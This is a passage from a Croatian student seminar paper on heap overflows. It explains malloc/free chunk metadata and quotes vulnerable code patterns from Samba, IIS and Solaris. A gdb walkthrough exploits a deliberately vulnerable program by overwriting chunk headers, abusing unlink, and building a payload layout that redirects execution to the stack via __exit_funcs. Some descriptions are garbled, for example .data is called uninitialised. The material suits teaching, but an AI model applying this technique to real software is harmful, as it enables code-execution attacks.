Seminarski rad PDF dokumenat

 

DCOM exploit video RPC buffer overflow exploit video primjer

 

TFTP exploit video TFTP exploit video primjer
 

5. Preljev gomile

 

5.1 Što je gomila ( engl. Heap )

Kada se pokrene program, svaka dretva ima svoj stog gdje sprema lokalne varijable. Ali za globalne varijable, ili varijable koje zauzimaju više memorije nego što je stog, program treba novu sekciju memorije kako bi program pohranio varijablu. U stvari program ne zna koliko će mu memorije trebati prilikom prevođenja u strojni kod, nego se dodatna memorija zauzima prilikom pokretanja programa posebnim sistemskim pozivima.  Tipično Linux programi imaju .bss ( segment za globalne varijable koje su ne inicijalizirane) i .data segment ( globalne varijable koje su ne inicijalizirane)  a dodatna segmenti se zauzimaju malloc() a alociraju s brk() ili mmap() sistemskim pozivima. Ti segmenti se mogu vidjeti s gdb naredbom.  Svaki segment u koji se može pisati može biti referenciran kao gomila, mada više puta samo segmenti alocirani s malloc() su uzeti u obzir kao gomila.
Što je ispisao gdb prije nego je program pokrenut:

 

(gdb) maintenance info sections
Exec file:
`/home/dave/BOOK/basicheap', file type elf32-i386.

0x08049434->0x08049440 at 0x00000434: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049440->0x08049444 at 0x00000440: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x08049444->0x0804950c at 0x00000444: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x0804950c->0x08049514 at 0x0000050c: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08049514->0x0804951c at 0x00000514: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x0804951c->0x08049520 at 0x0000051c: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x08049520->0x08049540 at 0x00000520: .got ALLOC LOAD DATA HAS_CONTENTS
0x08049540->0x08049544 at 0x00000540: .bss ALLOC

 

Evo nekoliko linija koje pokazuju praćenje programa:

 

brk(0) = 0x80495a4
brk(0x804a5a4) = 0x804a5a4
brk(0x804b000) = 0x804b000

 

Te dvije adrese predstavljaju početnu adresu alociranog prostora za buf i buf2:

 

buf=0x80495b0 buf2=0x80499b8

 

Evo prikaza segmenata kada je program pokrenut. Primijetite segment stoga (zadnji) i segment koji sadrži pokazivač na sebe (load2).

   
0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08049000->0x0804a000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS
...
0xbfffe000->0xc0000000 at 0x0000f000: load11 ALLOC LOAD CODE HAS_CONTENTS

(gdb) print/x $esp
$1 = 0xbffff190

 

5.2 Kako gomila radi

 

Koristiti brk() ili mmap() svaki puta kad program treba još memorije je sporo i zamorno. Kako bi se to izbjeglo, svaka LIBC implementacija ima malloc(), realloc() i free() na raspolaganju za programera kad god je potrebno alocirati još memorijskih resursa, ili osloboditi nepotrebnu memoriju.
malloc()  zauzima veliki blok memorije alocirane s brk() sistemskim pozivom u jedan komad i daje ga korisniku koji ga je zatražio. Na isti način, kad je pozvana funkcija free(), on će odlučiti dali će uzeti novo oslobođeni komad, i potencijalno komad ispred i iza njega, i spojiti ga u jedan veliki komad. Ovaj proces sprečava fragmentaciju ( sprečava stvaranje mnogo malenih blokova slobodne memorije) i  sprečava program da koristi brk() više puta.
Kako bi bilo efikasno, svaka malloc() implementacija pohrani mnogo meta podataka o lokaciji komada memorije, veličini, i možda neke specijalne dijelove za male komade memorije. Organizira te podatke u dlmalloc, oni su organizirani u sektore, i u mnogim drugim malloc implementacijama su organizirani u balansirano stablo.
Te informacije su pohranjene na dva mjesta: u globalnoj varijabli korištenoj malloc() implementacijom, i u memorijskom bloku prije i/ili poslije alociranog prostora.

 

5.3 Kako naći preljev gomile

 

Izraz heap overflow može biti upotrebljena za različite propuste. Koristan je kako bi se stavili u programerske "kožu" i otkrili neku grešku u programu, pa čak i onda kad nemamo izvorni kod programa. Dolje su navedeni neki primjeri stvarnih propusta:


·samba (programer je omogućio kopiranje velik blok memorije na bilo koje mjesto gdje želimo): memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2);

·      Microsoft IIS: buf=malloc(user_supplied_int+1);
memcpy(buf,user_buf,user_supplied_int);

·      Solaris Login: buf=(char **)malloc(BUF_SIZE);
while (user_buf[i]!=0) {
buf[i]=malloc(strlen(user_buf[i])+1);
i++;
}
·      Solaris Xsun:
buf=malloc(1024);
strcpy(buf,user_supplied);

Ovo je primjer heap overflow propusta – alocira se 0 i kopira se veliki broj u nju.

 

buf=malloc(sizeof(something)*user_controlled_int);
for (i=0; i<user_controlled_int; i++)
{
if (user_buf[i]==0)
break;
copyinto(buf,user_buf);
}

 

U tom smislu, preljev gomile se javlja kad god napravimo neku grešku u memoriji odnosno pozovemo neku varijablu ili tako nešto a da ona nije na stogu. Zbog toga postoji mnogo varijanta grešaka, pa nije ni približno moguće zaštiti se od modifikacija prevoditelje izvornog koda.

5.4 Osnovno o preljevu gomile

Osnovna teorija za većinu preljeva gomile je sljedeća: kao stog kod programa, gomila programa sadrži informacije i podržava informacije koje kontroliraju kako program vidi podatke. Trik u manipulaciji malloc() ili free() implementacije je da radi ono što mi želimo – omogućuje nam da pišemo riječ ili dvije u memoriju koju mi možemo kontrolirat.
Primjer programa:

 

/*notvuln.c*/
int
main(int argc, char** argv) {
char *buf;
buf=(char*)malloc(1024);
printf("buf=%p",buf);
strcpy(buf,argv[1]);
free(buf);
}

 

Ovo je ltrace izlaz kad pokušavamo napasti program:

 

[dave@localhost BOOK]$ ltrace ./notvuln `perl -e 'print "A" x 5000'`
__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x08048444 <unfinished
...>
malloc(1024) = 0x08049590
printf("buf=%p") = 13
strcpy(0x08049590, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x08049590
free(0x08049590) = <void>
buf=0x8049590+++ exited (status 0) +++

 

Kao što se vidi, program se nije srušio. To je zato što ulazni niz nije prepisao strukturu, free() poziv je potreban bez obzira što string nije izazvao preljev alociranog spremnika.
Sad pogledajmo primjer koji je ranjiv:

 

/*basicheap.c*/
int
main(int argc, char** argv) {
char *buf;
char *buf2;
buf=(char*)malloc(1024);
buf2=(char*)malloc(1024);
printf("buf=%p buf2=%p\n",buf,buf2);
strcpy(buf,argv[1]);
free(buf2);
}

 

Razlika u ovom primjeru u odnosu na prethodni je u tome što je sada alociran prostor za dva spremnika, jedan iza drugoga. Znači, imamo dva spremnika u memoriji, jedan iza drugoga, a drugi spremnik je pokvaren s prvim spremnikom. To na prvi pogled izgleda nejasno, ali ako malo razmislimo to onda ima smisla. Meta podaci drugog spremnika su prepisani kad je došlo do preljeva prvog spremnika, i kad smo poželjeli oslobodit memorijski prostor drugog spremnika, došlo je naravno do greške.

 

[dave@localhost BOOK]$ ltrace ./basicheap `perl -e 'print "A" x 5000'`
__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x0804845c <unfinished
...>
malloc(1024) = 0x080495b0
malloc(1024) = 0x080499b8
printf("buf=%p buf2=%p\n", 134518192buf=0x80495b0 buf2=0x80499b8
) = 29
strcpy(0x080495b0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x080495b0
free(0x080499b8) = <void>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

 

U tom primjeru, znali smo veličinu spremnika nad kojim smo napravili preljev, i layout programske memorije. U mnogo slučajeva, te informacije nam nisu dostupne. U slučaju kad nam nije dostupan ili poznat izvorni kod aplikacije s preljevom gomile, ili u slučaju kad je riječ o Open source aplikaciji s iznimno kompleksnim memorijskim layout-om,  tada je lakše isprobat kako se program ponaša na različite duljine napada, radije nego obrnutim inženjeringom prevesti cijeli program kako bi našli točku gdje program preplavi gomilu spremnik i kada zove free() ili malloc() funkcije kako bi pokrenuli rušenje programa.
To je ključ kako ćemo manipulirati malloc() rutinama kako bi prepisali nedozvoljeni memorijski prostor. Očistiti ćemo prethodni blok kako bi izbrisali zaglavlje koje želimo nanovo prepisati svojim vlastitim, i postaviti duljinu prethodnog dijela na negativnu vrijednost. To će nam omogućiti da definiramo vlastiti blok unutar našeg spremnika.
Malloc implementacija, uključujući Linux dlmalloc, te se spremaju dodatne informacije u slobodne dijelove. Zato što slobodni dijelovi ne sadrže nikakve korisničke podatke, i zato su pogodni za spremanje informacija o ostalim dijelovima. Prvih četiri okteta predstavlja pokazivač na  korisnički podatkovni prostor u slobodne dijelove, a sljedeća  četiri okteta predstavlja pokazivač unatrag. To su pokazivači koje ćemo koristiti kako bi prepisali svojevoljne podatke.
Sljedeća naredba će pokrenuti naš program, izvršiti preljev spremnika buf  prepisati dio zaglavlja spremnika buf2 da imamo veličinu od 0xfffffff0 i prethodnu veličinu od 0xffffffff.

 

(gdb) run `python -c 'print
"A"*1024+"\xff\xff\xff\xff"+"\xf0\xff\xff\xff"'`

 

5.5 Pronalaženje veličine spremnika

(gdb) x/xw buf-4 će nam pokazati veličinu spremnika buf. Čak i kad program nije preveden s simbolima, može se vidjeti u memoriji gdje spremnik počinje i kolika je veličina spremnika.

 
(gdb) x/xw buf-4 
0x80495ac: 0x00000409 
(gdb) printf "%d\n",0x409 
1033 
 

 

Taj broj je u biti 1032, znači 1024 plus 8 okteta za pohranu informacija o zaglavlju.
Padajući adresni poredak je korišten a to ukazuje da je prethodni blok smješten do trenutnog bloka. Ako je postavljen, tada ne postoji prethodna veličina bloka pohranjena u zaglavlje bloka. Ako je bit prazan (nula) tada se može naći prethodni blok koristeći buf-8 kao veličinu prethodnog bloka. Drugi bit po težinskoj vrijednosti se koristi kao zastavica za kad je blok alociran s funkcijom mmap().
Postavljanjem točke za prekid na on_int_free() na instrukciju koja računa sljedeći blok i tada ćemo moči pratiti ponašanje free() funkcije. Za lociranje te instrukcije, možemo postaviti veličinu bloka na 0x01020304 i vidjeti gdje se int_free() sruši. Instrukcija ispod toga je lokacija gdje se računa sljedeći blok:

 

0x42073fdd <_int_free+109>: lea (%edi,%esi,1),%ecx

 

Kada tok dođe do točke za prekid, ispisat će se buf = 0x80495b0 buf2 = 0x80499b8 i nakon toka pauza.

 

(gdb) print/x $edi
$10 = 0xfffffff0
(gdb) print/x $esi
$11 = 0x80499b0

 

Kao što se može vidjeti, trenutni blok (za buf) je pohranjen u ESI, a veličina je pohranjena u EDI. glibc free() je modificiran od originalnog dlmalloc(). Ako pratimo detaljno implementaciju primijetiti ćemo da free() je ustvari pokazivač za intfree u većini slučajeva. Funkcija intfree uzima unutra kao argument pokazivač i nakon toga memorijska adresa je onda slobodna.
Pogledajmo dvije asemblerske instrukcije koje se podudaraju s free() rutinom za traženje prvog bloka.

 

0x42073ff8 <_int_free+136>: mov 0xfffffff8(%edx),%eax

0x42073ffb <_int_free+139>: sub %eax,%esi

 

Prva instrukcija  (mov 0x8(%esi), %edx), %edx) je 0x80499b8, je adresa spremnika buf2, koji ćemo osloboditi. Osam bajtova prije je veličina prethodnog spremnika, koji je sada pohranjen u %eax. Naravno,  to ćemo prepisati, i koristiti kao nulu, i sad smo dobili 0xffffffff (-1).
Druga instrukcija (add %eax, %edi), %esi sadrži adresu trenutnog komada zaglavlja. Zatim ćemo oduzeti veličinu prethodnog spremnika od trenutne adrese komada kako bi dobili adresu bloka prethodnog spremnika. Naravno, ovo ne radi kada prepišemo veličinu s -1. Sljedeće instrukcije daju nam kontrolu:

 

0x42073ffd <_int_free+141>: mov 0x8(%esi),%edx
0x42074000 <_int_free+144>: add %eax,%edi
0x42074002 <_int_free+146>: mov 0xc(%esi),%eax; UNLINK
0x42074005 <_int_free+149>: mov %eax,0xc(%edx); UNLINK
0x42074008 <_int_free+152>: mov %edx,0x8(%eax); UNLINK

 

Registar %esi će biti modificiran tako da pokazuje na poznatu lokaciju u dosegu našeg spremnika. Tijekom izvršavanja sljedeće instrukcije, bit ćemo u mogućnosti kontrolirati %edx i %eax koji se koriste kao argumenti za pisanje u memoriju. To se dogodi zato što pozivom free() funkcije, uslijed manipulacije buf2 komada zaglavlja, on misli da je područje unutar buf2 (koje sad mi kontroliramo) , da je komad zaglavlja za neiskorišten blok memorije.
Sada smo postigli što smo htjeli, potpunu kontrolu.
Sljedeća naredba će prvo napuniti spremnik buf te tada prepisati komad zaglavlja spremnika buf2 sa prethodnom veličinom od -4. Tada ćemo ubaciti 4 okteta nadopune, i imat ćemo ABCD u %edx i EFGH  u %eax.

 

(gdb) r `python -c 'print
"A"*(1024)+"\xfc\xff\xff\xff"+"\xf0\xff\xff\xff"+"AAAAABCDEFGH" '`

Program je primio signal SIGSEGV, Segmentation fault.
0x42074005 in _int_free () from /lib/i686/libc.so.6
7: /x $edx = 0x44434241
6: /x $ecx = 0x80499a0
5: /x $ebx = 0x4212a2d0
4: /x $eax = 0x48474645
3: /x $esi = 0x80499b4
2: /x $edi = 0xffffffec

(gdb) x/4i $pc
0x42074005 <_int_free+149>: mov %eax,0xc(%edx)
0x42074008 <_int_free+152>: mov %edx,0x8(%eax)

 

Sada, %eax će biti zapisan na %edx+12 i %edx će biti zapisan na %eax+8. Osim ako program primi signal za SIGSEGV, no mi želimo biti sigurni za oba dvoje i %eax i %edx su valjane adrese za pisanje.

 

(gdb) print "%8x", &__exit_funcs-12
$40 = (<data variable, no debug info> *) 0x421264fc

 

Naravno, sada ćemo definirat lažni komad, i još nam treba drugi lažni komad zaglavlja za "prethodni" komad, ili će se intfree srušiti. Postavljanjem veličine buf2 spremnika na 0xfffffff0 (-16), stavljamo lažni komad u područje od buf spremnika koje mi kontroliramo. Kada stavimo sve to zajedno, dobijemo:

 

"A"*(1012)+"\xff"*4+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff\xff
\xff\xff"*2+intel_order(word1)+intel_order(word2)

 

word1+12 će biti prepisan sa word2 i word2+8 će biti prepisan sa word1. (intel_order() uzima bilo koju cjelobrojnu vrijednost i stvara little-endian niz za korištenje u preljevu kao u ovom primjeru.) Konačno, odaberemo koju riječ ćemo prepisat, i što želimo prepisat. U ovom slučaju, basicheap poziva exit() funkciju izravno nakon oslobađanja buf2 spremnika. Funkcija exit() je destruktor koji koristimo kao pokazivač na funkciju.

 

(gdb) print/x __exit_funcs
$43 = 0x4212aa40

 

To možemo koristiti kao word1 i adresa stoga je word2. Ponovno pokretanje preljeva vodi do ovoga:

 

Program received signal SIGSEGV, Segmentation fault.
0xbfffff0f in ?? ()

 

Kao što se vidi, preusmjerili smo izvršavanje na stog i izazvali heap overflow.